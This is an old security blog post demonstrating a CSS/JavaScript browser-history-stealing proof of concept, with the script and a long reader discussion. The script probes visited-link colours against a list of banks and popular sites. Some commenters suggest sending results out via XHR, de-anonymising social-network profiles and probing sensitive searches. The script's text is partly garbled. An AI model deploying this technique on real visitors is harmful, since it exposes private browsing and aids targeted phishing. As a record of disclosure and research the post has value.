Friday, August 11, 2006

I know where you've been

Update 2: CSS History Hack Demonstration code available. Thank you to RSnake for hosting.

Update: Removed the JS PoC from the template and pasted it below. Was messing up IE.

I updated the blog template to display some proof-of-concept browser history stealing JavaScript code. On the right side column notice the "I know where you've been" heading. Below that, if your using Firefox, Mozilla, Netscape or Safari, you should see a bunch of links to websites you've been to. Don't worry, I'm not capturing this data, only you can see it, though it does prove a point. This trick probably works in Internet Explorer, though I haven't tried to port the code to find out for sure. I wonder how long until the marketers start using this for additional visitor profiling. Feel free to view-source and find the trick.

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
"http://ajaxian.com/",
"http://digg.com/",
"http://english.aljazeera.net/HomePage",
"http://ha.ckers.org",
"http://ha.ckers.org/blog/",
"http://jeremiahgrossman.blogspot.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://reddit.com/",
"http://seoblackhat.com",
"http://slashdot.org/",
"http://techfoolery.com/",
"http://weblogs.asp.net/jezell/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.bankofamerica.com/",
"http://www.bankone.com/",
"http://www.blackhat.com/",
"http://www.blogger.com/",
"http://www.bloglines.com/",
"http://www.bofa.com/",
"http://www.capitalone.com/",
"http://www.cenzic.com",
"http://www.cgisecurity.com",
"http://www.chase.com/",
"http://www.citibank.com/",
"http://www.cnn.com/",
"http://www.comerica.com/",
"http://www.e-gold.com/",
"http://www.ebay.com/",
"http://www.etrade.com/",
"http://www.expedia.com/",
"http://www.google.com/",
"http://www.hsbc.com/",
"http://www.icq.com/",
"http://www.jailbabes.com",
"http://www.microsoft.com/",
"http://www.msn.com/",
"http://www.myspace.com/",
"http://www.ntobjectives.com",
"http://www.passport.net/",
"http://www.paypal.com/",
"http://www.sourceforge.net/",
"http://www.spidynamics.com",
"http://www.statefarm.com/",
"http://www.usbank.com/",
"http://www.wachovia.com/",
"http://www.wamu.com/",
"http://www.watchfire.com",
"http://www.webappsec.org",
"http://www.wellsfargo.com/",
"http://www.whitehatsec.com",
"http://www.xanga.com/",
"http://www.yahoo.com/",
"http://seoblackhat.com/",
"http://www.alexa.com/",
"http://www.youtube.com/",
"https://banking.wellsfargo.com/",
"https://commerce.blackhat.com/",
"https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

var d = document.createElement('div');
d.id = 'xss_flag';
document.body.appendChild(d);

var d = document.createElement('table');
d.border = 0;
d.cellpadding = 5;
d.cellspacing = 10;
d.width = '90%';
d.align = 'center';
d.id = 'data';
document.body.appendChild(d);

document.write('');
for (var i = 0; i <>');

/* launch steal history */

if (is_mozilla) {
stealHistory();
}

}

function stealHistory() {

// loop through websites and check which ones have been visited
for (var i = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('' + websites[i] + '');
} // end visited check

} // end visited website loop

} // end stealHistory method

85 comments:

Anonymous said...

I love the irony of one post titled "Where have I been", and meanwhile the sidebar is listing a bunch of places my browser has been.

Clever hack with the CSS.

Ironic said...

i got "Operacion Anulada" (in spanish) or "Annulled operation" (with google translator) in english.
I didn't see the code yet.
But very clever.
IE Version. 6.0.2800.1106

Ill try in firefox.
Certanly in firefox works well, in the other hand, can be done this without the array of webs?

Anonymous said...

Jeremiah,

Great presentation at Blackhat. I tried porting your code to IE last night, but ran into a bug where all of the links created with the appendChild method show up blue, no matter what. I referenced the color in IE using the currentStyle property, but it returns "#0000FF" for all links (and the links show up blue on screen as well). Any thoughts?

Jeremiah Grossman said...

Anonymous #1, thanks for the kind words. I didn't think about the irony when I posted, but I'll take it. :)

Jeremiah Grossman said...

Ironic, you must have an array to brute force through using this method. But the thing is when you create links its all in virtual space. So technically could do thousands of domains and check em all in a few seconds.

Jeremiah Grossman said...

Anonymous 2, this guy here has been trying to port the hack over to IE/Opera.

http://www.gnucitizen.org/projects/javascript-visited-link-scanner/

Anonymous said...

Wouldn't it be much more cross-browser supported if you did something like

a:visited{display:block;height:1px;}

and read out offsetHeight? Then you don't need to rely on computedStyle.

Chris (http://wait-till-i.com

Archiloque said...

I used the same thing on a site using images for links and needed to detect when a link has been visited to display another image

result at
http://www.desordre.net/blog/blog-archives.php3

Anonymous said...

Ok, by using height and offsetHeight it works in MSIE.

Opera is still no-go though.

tyler said...

Nice!!

Gojomo said...

Security research groups at Indiana U and Stanford U had papers about this (and similar) vulnerabilities in the May 2006 WWW Conference. See:

http://www.cs.indiana.edu/~sstamm/projects/recon/

http://crypto.stanford.edu/sameorigin/

From one of the papers' bibliographies, I believe the first disclosure of the problem was in 2002:

http://seclists.org/bugtraq/2002/Feb/0271.html

Anonymous said...

I discovered this around a year ago... Instead of fishing, I called it history "fisting", because you can force-feed someone a huge list of links and see what sticks, then pull it out. This can all be done surreptitiously and report back to the server. Using XMLHttpRequest, you can send megabytes of links (mod_gzip is your friend) over time while someone browses a page... or if they just leave the page open.

I'm sure it was discovered before me too. [Update: the above paper makes that clear...] The easy way to fix it is for a browser to not change the vlink on any OFF-site links... that way an attacker can only find out which links on the current site you've seen, which they know anyway (from reading their own web logs).

Jeremiah Grossman said...

Gojomo, thank you, this is a great find.

Tic Tac Addict said...

I'm using the latest version of Firefox, and have been to several of the queried sites, but even with Javascript enabled the sidebar displays no visited sites...

Anonymous said...

very clever. btw, your resume (which is nicer than mine!) has a small error. I think you mean "angel investors".

Cheers

Lewis said...

ahhah! I have a javascript whitelist (firefox, using noscript and a cookie whitelist) so this doesn't work!

Anonymous said...

Yep - I am using the firefox 1.5.0.6 and none of these proofs seem to work. I have js on.

Anonymous said...

I'm pretty sure this was done years ago already by Gemal.

http://gemal.dk/browserspy/css.html

Jeremiah Grossman said...

thank you for the resume correction. your the first one to notice that, and it must have been that way for perhaps years. :)

Jeremiah Grossman said...

I've received several comments via the blog and email informing me that many researches have previously released a variety of similar JS/CSS history hacks. Many spanning several years back. Amazingly, most of them seem to be unknown to each other or myself. This happens often in this field when people find the same thing at the same time or find something that someone already found. I'm going through as many of the examples as I can to understand the exact mechanism they use. The implementation I have should be consider as just one more of many PoC's avaiable. The novelty of the entire presentation I did at Black Hat was a collection of many JavaScript Malware hacks, not just this one. The point is to create a big picture of what is now possible in the browser. How we can use the browser to hack intranet websites.

Julien Couvreur said...

Here's some more pointers on previous research on the topic:

https://bugzilla.mozilla.org/show_bug.cgi?id=57351
http://milov.nl/2520
http://www.doxdesk.com/personal/posts/bugtraq/20020214-css.html

Anonymous said...

Yeah uh, it's not correct. Says I've been to Yahoo? I haven't been there for years!

Anonymous said...

I'm using firefox and this doesnt work for me :(

I guess setting remember visited pages to 0 helps.

Rubic_Cube said...

I use FF and it seems to be working...

Kiran said...

i am using Firefox 1.5.0.6 and the sidebar doesn't show anything...why is that so?

Kiran said...

i am using Firefox 1.5.0.6 and the sidebar doesn't show anything...why is that so?

David Zuch said...

Your last link is missing the second forward-slash after the "https:" ("https:/banking.wellsfargo.com/"). You might also consider https://online.wellsfargo.com/ while you're at it.

Cheers.

casey said...

It doesn't show any of my history, I'm using 1.5.0.6 also.

Jeremiah Grossman said...

David, updates added, thanks!

Anonymous said...

I've got the Firefox SafeHistory extension installed and this doesn't appear to work here.

Seems like the solution has already been found.

lowkey

Brandon said...

I found that the NoScript Extension for Firefox blocks this hack. So, therefore, Mr. Grossman, You do not know where I've been.

Anonymous said...

Hmmm, I am using firefox 2 beta 1 with no extensions and it shows nothing. That could be due to the fact that your 'exploit' only has a limited number of sites in the list. I didn't check but I have been to google and slashdot and digg to name a few popular sites.

Anonymous said...

For security purposes I started using NoScript a few month ago so that JavaScript is blocked by default unless the website is white listed or I temporarily allow JavaScript on a website. Without JavaScript the hack doesn't work. This reduces at least the chances of such attacks. But until Firefox's history is locked up it would still be a vulnerability on white-listed websites.

Thanks for publishing the hack! It's good to be aware of it.

Anonymous said...

i have Firefox 1.5.0.7 and it shows nothing. i have a backlog of history files too.

maybe they fixed it in there. nice job tho, such a simple thing i hadn't thought of.

glompho said...

dident work for me i was using firefox

Smile said...

Very nice, it's working for me :D
I'm using FF 1.5.0.1

Anonymous said...

NoScript plugin for FF does the trick. No history read from my computer. I advice anyone to use it! There's more advantages then stoping proof-of-concept code...

agra said...

I'm using Ubuntu und Firefox, the hack isn't working here.
Don't know if it's working with Windows.

Anonymous said...

dont work on a mac, not IE, Netscape, FireFox or Opera.

Anonymous said...

I'm using Firefox with TOR and Privoxy, and I appear to be immune from this. I'm guessing this has to do with the fact that Privoxy cuts out a lot of malicious code, forges referrer tags, and folds/spindles/mutilates any and all personal data before allowing access to it.

Anonymous said...

Hmm.

Makes me think of using a hidden form to submit it to a database.

Anonymous said...

Who is to says someone isn't already doing it :-)

Vasco said...

I wouldn't believe the first time I saw this, it's so simple and clever and at the same time powerful. And I see it has been discovered years ago.

I already made an IE version using also the color property, the currentStyle() method and a comparison with #0000ff does the job ;)
http://www.quirksmode.org/dom/getstyles.html
But I can see there's already an all-browser version in this blog.

Dustin said...

Vasco, if you have this that works in ie, I would love to see it. I have yet to find a version of this that works correctly in ie. The ones mentioned on this page do not work. I have been trying to get one to work, but just can't seem to do it.

Gab said...

So basically you HAVE to test if you have been on the website before knowing the "history"
No way to just get the last url a person has been to (not talking about HTTP_REFERER, it needs to be linked from a webpage) ?

Jeremiah Grossman said...

Gab, that is the current understanding. Without noticable browser lag, you can test for about 2-3 thousands URL's, which is fairly good coverage over popular websites. Its not perfect, but its pretty good.

FuzzyLogik said...

This is all fine an dandy, but unless you can bring it home, it doesn't do any good except for the "wow" factor, such as http://www.phazm.net/sig/siggy2.jpg

I heard someone mention XMLHTTP - would this be the proper route to take to retrieve this information?

Jeremiah Grossman said...

FuzzyLogik,

Yah, XHR would be a good way to collect the data. I didn't feel the need to put that part into the PoC code.

FuzzyLogik said...

It would be useful... from a PoC point of view, of course. I would certainly appreciate seeing it in the code, as I do not understand XMLHTTP at all, and don't understand how you would return something that is local to something remote.

dusoft said...

the script posted is buggy, the line:
for (var i = 0; i <>');
should be *commented out* as it is of incorrect syntax.

also, if using no CSS, just change line:
if (color == "rgb(0, 0, 255)") {
to:
if (color == "rgb(85, 26, 139)") {

dusoft said...

btw: tested and works in FF, IE, but not Opera

maluc said...

What changed - Update 2?

and just a matter of preference, but the lack of Date with the Time Stamp for comments is kinda annoying - even though i suspect it can be rev. engineered from the anchor tags.

also a date stamp for your updates would be helpful to answer future questions like this ^^;

Jeremiah Grossman said...

Yah, Update 2, I'll date em next time. Just a link to the new home of the PoC code.

maluc said...

does blogger allow date-ing (dating?) of comment posts? yours is the only one i read to compare to .-.

Jeremiah Grossman said...

you can date or re-date posts, comments only have a time. Non-configurable.

maluc said...

Date: January 12,2007

wow, that's dumb .. i guess i'll start dateing mine then ^^

dic@brio said...

Well as some other people did attempt to port this script to IE. I did it to.

Here you can have a look at it. I even added a google analytics entry for your visits
http://www.dicabrio.com/javascript/steal-history.php

Anonymous said...

hey!

i've tried it out on vista with firefox 2.0.0.2, and it worked too, just for information!

Drew said...

I just used this trick to create an improved Digg script button:

http://int2e.com/blog/

Anonymous said...

brilliant!

annerose said...

These comments have been invaluable to me as is this whole site. I thank you for your comment.

Scott H said...

Wow this could be used in a variety of nefarious ways.

If it's used on any site where unsophisticated surfers enter their emails like free giveaway sites then they could combine it with your history for more targeted phishing.

"Oh this guy uses paypal so we send this phishing email and this guy uses Chase Manhattan so we..."

And it doesn't seem like anyone's rushing to fix this. Damn.

Jesika said...

Very good information. Thanks!

James said...

I referenced the color in IE using the currentStyle property, but it returns "#0000FF" for all links (and the links show up blue on screen as well). Any thoughts?

Posted By Blackpool Hotels
Date: 19th September 2007

Jeremiah Grossman said...

Hi James, that code was designed for Firefox, never really worked well for IE. Others had ported it and got it working fine, but you'd to search around to find it.

Miki said...

That is necessary. Thanks! Badly that only under firefox.

Anonymous said...

I actually didn't even see the "I know where you've been" heading on the right side column.

Underneath the blog text I saw a large list of sites in what seemed to be the source code, most of which I've never been to.

I know I've never been to ciribank.com, that's for sure.

Honestly, I don't even do anything about security in my browser, sans using Firefox and adblock, I don't even use NoScript.

I'd have to call this a massive failure.

faith:) said...

wait a sec. I'll have to agree with the previous poster on this one. i can't see any "I know where you've been" list. Also, many of the sites that are listed aren't where I've been.

I also call this a massive failure.

Jeremiah Grossman said...

I moved the Poc to this URL:

http://ha.ckers.org/weird/CSS-history-hack.html

Luke said...

I visited http://ha.ckers.org/weird/CSS-history-hack.html and I felt pretty smart when I saw that the 'visited' section listed _nothing-.
I'm running Firefox2 (Swiftweasel) 32bit undere Linux Ubuntu 8.04 AMD64.

I suspect that what did the trick for me was the fact that I disabled my disk cache and set Firefox to always delete all cookies on exit.
Howeven, not even the latest sites I visited after last Firefox start were listed. I guess I got my settings just right.

Jed Davis said...

The fix for Opera is easy: just compare the color to "#ff0000" as well as the other form.

hugl3 said...

nice trick.

Stefan said...

Good Job! :)

Andrew Jarvis said...

I obviate the need to use CSS by simply creating a dummy anchor node and getting its (unvisited) colour.
The browser's visited colour can also be obtained by setting the dummy anchor's href to document.URL.

See my code in action at OOltra.net

13yr_webdesigner said...

if u want it to work with IE

try this:

if(navigator.appName.indexOf("Microsoft")!=-1){
var color = link.currentStyle['color'];}else{
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");}

im a 13 year old webdesigner who's been fooling around with all the internet security exploits you have found, and i continue to be impressed

martiendejong said...

It is quite embarassing to see this trick is almost three years old, and still nobody happened to fix it.
I guess this problem is really hard to fix lol

martiendejong said...

How about finding someone's name with a little addition to this code?

If you let this code run through for instance Facebook profiles you can get a general idea about whom a person is befriend with.

Any ideas on this?

Jeremiah Grossman said...

hmm, maybe, but the user would have to have been to the URL we'd be checking. Got a sample URL of something you'd have in mind?

martiendejong said...

Hyves (a dutch SN) uses subdomain.
For instance, my url over there is martiendejong.hyves.nl
If I would generate a list of profile urls (or better, something like {profileurl}/manage.php) and iterate over it I think it would be possible.

I only have to find a way do this in the background for about 20M profiles.. :p

Anonymous said...

Another tweek would be to build the query string dynamically from a keyword list
for example look at these google urls..

http://www.google.co.uk/search?hl=en&safe=off&q= css+history+hack &btnG=Search&meta=
http://www.google.co.uk/search?hl=en&safe=off&q= teen+porn &btnG=Search&meta=

Slightly more elegant than a brute force list of specific URLs and once a basic search result has been found I dare say this could be extended further using PHP to scrape links from the target page
thus forming a feedback loop that would be actively hunting down the browser history rather than stumbling blindly.

CybraxJon - my hats not black just dark green & dusty

Anonymous said...

There's something very similar at http://linuxbox.co.uk/stealing-browser-history-with-javascipt-and-css.php

It uses the same idea, but is hopefully a bit faster (certainly a lot faster than startpanic.com's)

Norbreck Castle said...

interesting!

Scratch said...

This article has a neat workaround for designers: http://www.webdesignfromscratch.com/html-css/getting-around-the-css-history-leak-limitations/

Hans said...

Thanks for sharing! Very interesting

Suraj Shrestha said...

i guess it doesn't work anymore